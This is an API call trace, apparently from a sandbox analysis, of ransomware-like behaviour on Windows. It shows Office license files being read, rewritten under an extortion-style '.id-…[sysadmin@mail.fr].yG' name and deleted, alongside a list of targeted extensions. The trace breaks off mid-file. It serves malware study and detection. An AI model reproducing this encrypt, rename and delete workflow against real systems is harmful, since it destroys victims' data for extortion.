	[0164.028] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0164.029] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x3dfff14 | out: lpFileSize=0x3dfff14*=19982) returned 1
	[0164.029] CloseHandle (hObject=0x364) returned 1
	[0164.029] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-ul-phn.xrm-ms")) returned 0x220
	[0164.029] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-ul-phn.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0164.030] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0164.030] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.030] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.030] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-ul-phn.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538
	[0164.031] GetLastError () returned 0x0
	[0164.031] ReadFile (in: hFile=0x364, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3dffecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3dffecc*=0x4e0e, lpOverlapped=0x0) returned 1
	[0164.052] WriteFile (in: hFile=0x538, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x4e10, lpNumberOfBytesWritten=0x3dffc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3dffc94*=0x4e10, lpOverlapped=0x0) returned 1
	[0164.053] ReadFile (in: hFile=0x364, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3dffecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3dffecc*=0x0, lpOverlapped=0x0) returned 1
	[0164.054] WriteFile (in: hFile=0x538, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x124, lpNumberOfBytesWritten=0x3dffc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3dffc94*=0x124, lpOverlapped=0x0) returned 1
	[0164.054] SetEndOfFile (hFile=0x538) returned 1
	[0164.054] CloseHandle (hObject=0x538) returned 1
	[0164.054] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.054] SetEndOfFile (hFile=0x364) returned 1
	[0164.058] CloseHandle (hObject=0x364) returned 1
	[0164.059] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0164.059] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-ul-phn.xrm-ms")) returned 1
	[0164.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-phn.xrm-ms") returned 90
	[0164.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-phn.xrm-ms") returned 90
	[0164.282] lstrlenW (lpString=".doc") returned 4
	[0164.282] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0164.282] lstrlenW (lpString=".docx") returned 5
	[0164.282] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0164.282] lstrlenW (lpString=".pdf") returned 4
	[0164.282] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0164.282] lstrlenW (lpString=".xls") returned 4
	[0164.282] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0164.283] lstrlenW (lpString=".xlsx") returned 5
	[0164.283] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0164.283] lstrlenW (lpString=".ppt") returned 4
	[0164.283] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0164.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-phn.xrm-ms") returned 90
	[0164.283] lstrlenW (lpString=".zip") returned 4
	[0164.283] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0164.283] lstrlenW (lpString=".rar") returned 4
	[0164.283] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0164.283] lstrlenW (lpString=".bz2") returned 4
	[0164.283] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0164.283] lstrlenW (lpString=".7z") returned 3
	[0164.283] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0164.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-phn.xrm-ms") returned 90
	[0164.283] lstrlenW (lpString=".dbf") returned 4
	[0164.283] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0164.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-phn.xrm-ms") returned 90
	[0164.283] lstrlenW (lpString=".1cd") returned 4
	[0164.283] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0164.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-phn.xrm-ms") returned 90
	[0164.283] lstrlenW (lpString=".jpg") returned 4
	[0164.283] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0164.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-phn.xrm-ms") returned 90
	[0164.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-phn.xrm-ms") returned 90
	[0164.284] lstrlenW (lpString=".doc") returned 4
	[0164.284] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0164.284] lstrlenW (lpString=".docx") returned 5
	[0164.284] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0164.284] lstrlenW (lpString=".pdf") returned 4
	[0164.284] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0164.284] lstrlenW (lpString=".xls") returned 4
	[0164.284] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0164.284] lstrlenW (lpString=".xlsx") returned 5
	[0164.284] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0164.284] lstrlenW (lpString=".ppt") returned 4
	[0164.284] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0164.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-phn.xrm-ms") returned 90
	[0164.284] lstrlenW (lpString=".zip") returned 4
	[0164.284] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0164.284] lstrlenW (lpString=".rar") returned 4
	[0164.284] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0164.284] lstrlenW (lpString=".bz2") returned 4
	[0164.284] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0164.284] lstrlenW (lpString=".7z") returned 3
	[0164.285] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0164.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-phn.xrm-ms") returned 90
	[0164.285] lstrlenW (lpString=".dbf") returned 4
	[0164.285] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0164.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-phn.xrm-ms") returned 90
	[0164.285] lstrlenW (lpString=".1cd") returned 4
	[0164.285] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0164.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-phn.xrm-ms") returned 90
	[0164.285] lstrlenW (lpString=".jpg") returned 4
	[0164.285] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0164.285] lstrcmpiW (lpString1=".xrm-ms", lpString2=".yG") returned -1
	[0164.285] lstrlenW (lpString="HomeBusinessR_OEM_Perp2-pl.xrm-ms") returned 33
	[0164.285] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0164.287] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x3dfff14 | out: lpFileSize=0x3dfff14*=10667) returned 1
	[0164.287] CloseHandle (hObject=0x364) returned 1
	[0164.287] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-pl.xrm-ms")) returned 0x220
	[0164.287] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-pl.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-pl.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0164.287] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0164.288] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.288] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.288] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-pl.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-pl.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c
	[0164.289] GetLastError () returned 0x0
	[0164.289] ReadFile (in: hFile=0x364, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3dffecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3dffecc*=0x29ab, lpOverlapped=0x0) returned 1
	[0164.291] WriteFile (in: hFile=0x55c, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x29b0, lpNumberOfBytesWritten=0x3dffc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3dffc94*=0x29b0, lpOverlapped=0x0) returned 1
	[0164.292] ReadFile (in: hFile=0x364, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3dffecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3dffecc*=0x0, lpOverlapped=0x0) returned 1
	[0164.293] WriteFile (in: hFile=0x55c, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x3dffc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3dffc94*=0x116, lpOverlapped=0x0) returned 1
	[0164.293] SetEndOfFile (hFile=0x55c) returned 1
	[0164.293] CloseHandle (hObject=0x55c) returned 1
	[0164.293] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.293] SetEndOfFile (hFile=0x364) returned 1
	[0164.297] CloseHandle (hObject=0x364) returned 1
	[0164.297] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-pl.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0164.298] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-pl.xrm-ms")) returned 1
	[0164.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-pl.xrm-ms") returned 83
	[0164.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-pl.xrm-ms") returned 83
	[0164.299] lstrlenW (lpString=".doc") returned 4
	[0164.299] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0164.299] lstrlenW (lpString=".docx") returned 5
	[0164.299] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0164.299] lstrlenW (lpString=".pdf") returned 4
	[0164.299] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0164.299] lstrlenW (lpString=".xls") returned 4
	[0164.299] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0164.299] lstrlenW (lpString=".xlsx") returned 5
	[0164.299] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0164.299] lstrlenW (lpString=".ppt") returned 4
	[0164.299] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0164.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-pl.xrm-ms") returned 83
	[0164.299] lstrlenW (lpString=".zip") returned 4
	[0164.299] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0164.300] lstrlenW (lpString=".rar") returned 4
	[0164.300] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0164.300] lstrlenW (lpString=".bz2") returned 4
	[0164.300] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0164.300] lstrlenW (lpString=".7z") returned 3
	[0164.300] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0164.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-pl.xrm-ms") returned 83
	[0164.300] lstrlenW (lpString=".dbf") returned 4
	[0164.300] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0164.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-pl.xrm-ms") returned 83
	[0164.300] lstrlenW (lpString=".1cd") returned 4
	[0164.300] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0164.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-pl.xrm-ms") returned 83
	[0164.300] lstrlenW (lpString=".jpg") returned 4
	[0164.300] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0164.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-pl.xrm-ms") returned 83
	[0164.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-pl.xrm-ms") returned 83
	[0164.300] lstrlenW (lpString=".doc") returned 4
	[0164.300] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0164.300] lstrlenW (lpString=".docx") returned 5
	[0164.300] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0164.300] lstrlenW (lpString=".pdf") returned 4
	[0164.300] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0164.300] lstrlenW (lpString=".xls") returned 4
	[0164.301] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0164.301] lstrlenW (lpString=".xlsx") returned 5
	[0164.301] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0164.301] lstrlenW (lpString=".ppt") returned 4
	[0164.301] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0164.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-pl.xrm-ms") returned 83
	[0164.301] lstrlenW (lpString=".zip") returned 4
	[0164.301] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0164.301] lstrlenW (lpString=".rar") returned 4
	[0164.301] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0164.301] lstrlenW (lpString=".bz2") returned 4
	[0164.301] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0164.301] lstrlenW (lpString=".7z") returned 3
	[0164.301] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0164.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-pl.xrm-ms") returned 83
	[0164.301] lstrlenW (lpString=".dbf") returned 4
	[0164.301] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0164.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-pl.xrm-ms") returned 83
	[0164.301] lstrlenW (lpString=".1cd") returned 4
	[0164.301] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0164.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-pl.xrm-ms") returned 83
	[0164.301] lstrlenW (lpString=".jpg") returned 4
	[0164.301] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0164.302] lstrcmpiW (lpString1=".xrm-ms", lpString2=".yG") returned -1
	[0164.302] lstrlenW (lpString="HomeBusinessR_OEM_Perp2-ppd.xrm-ms") returned 34
	[0164.302] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0164.303] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x3dfff14 | out: lpFileSize=0x3dfff14*=22094) returned 1
	[0164.303] CloseHandle (hObject=0x364) returned 1
	[0164.303] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-ppd.xrm-ms")) returned 0x220
	[0164.303] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-ppd.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0164.303] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0164.304] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.304] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.304] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-ppd.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c
	[0164.305] GetLastError () returned 0x0
	[0164.305] ReadFile (in: hFile=0x364, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3dffecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3dffecc*=0x564e, lpOverlapped=0x0) returned 1
	[0164.309] WriteFile (in: hFile=0x55c, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x5650, lpNumberOfBytesWritten=0x3dffc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3dffc94*=0x5650, lpOverlapped=0x0) returned 1
	[0164.310] ReadFile (in: hFile=0x364, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3dffecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3dffecc*=0x0, lpOverlapped=0x0) returned 1
	[0164.310] WriteFile (in: hFile=0x55c, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x3dffc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3dffc94*=0x118, lpOverlapped=0x0) returned 1
	[0164.311] SetEndOfFile (hFile=0x55c) returned 1
	[0164.311] CloseHandle (hObject=0x55c) returned 1
	[0164.311] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.311] SetEndOfFile (hFile=0x364) returned 1
	[0164.316] CloseHandle (hObject=0x364) returned 1
	[0164.316] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0164.317] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-ppd.xrm-ms")) returned 1
	[0164.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ppd.xrm-ms") returned 84
	[0164.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ppd.xrm-ms") returned 84
	[0164.318] lstrlenW (lpString=".doc") returned 4
	[0164.318] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0164.318] lstrlenW (lpString=".docx") returned 5
	[0164.318] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0164.318] lstrlenW (lpString=".pdf") returned 4
	[0164.318] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0164.318] lstrlenW (lpString=".xls") returned 4
	[0164.318] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0164.318] lstrlenW (lpString=".xlsx") returned 5
	[0164.318] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0164.318] lstrlenW (lpString=".ppt") returned 4
	[0164.318] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0164.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ppd.xrm-ms") returned 84
	[0164.696] lstrlenW (lpString=".zip") returned 4
	[0164.696] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0164.696] lstrlenW (lpString=".rar") returned 4
	[0164.696] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0164.696] lstrlenW (lpString=".bz2") returned 4
	[0164.696] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0164.696] lstrlenW (lpString=".7z") returned 3
	[0164.696] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0164.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ppd.xrm-ms") returned 84
	[0164.696] lstrlenW (lpString=".dbf") returned 4
	[0164.696] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0164.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ppd.xrm-ms") returned 84
	[0164.696] lstrlenW (lpString=".1cd") returned 4
	[0164.696] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0164.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ppd.xrm-ms") returned 84
	[0164.697] lstrlenW (lpString=".jpg") returned 4
	[0164.697] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0164.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ppd.xrm-ms") returned 84
	[0164.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ppd.xrm-ms") returned 84
	[0164.697] lstrlenW (lpString=".doc") returned 4
	[0164.697] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0164.697] lstrlenW (lpString=".docx") returned 5
	[0164.697] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0164.697] lstrlenW (lpString=".pdf") returned 4
	[0164.697] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0164.697] lstrlenW (lpString=".xls") returned 4
	[0164.697] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0164.697] lstrlenW (lpString=".xlsx") returned 5
	[0164.697] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0164.697] lstrlenW (lpString=".ppt") returned 4
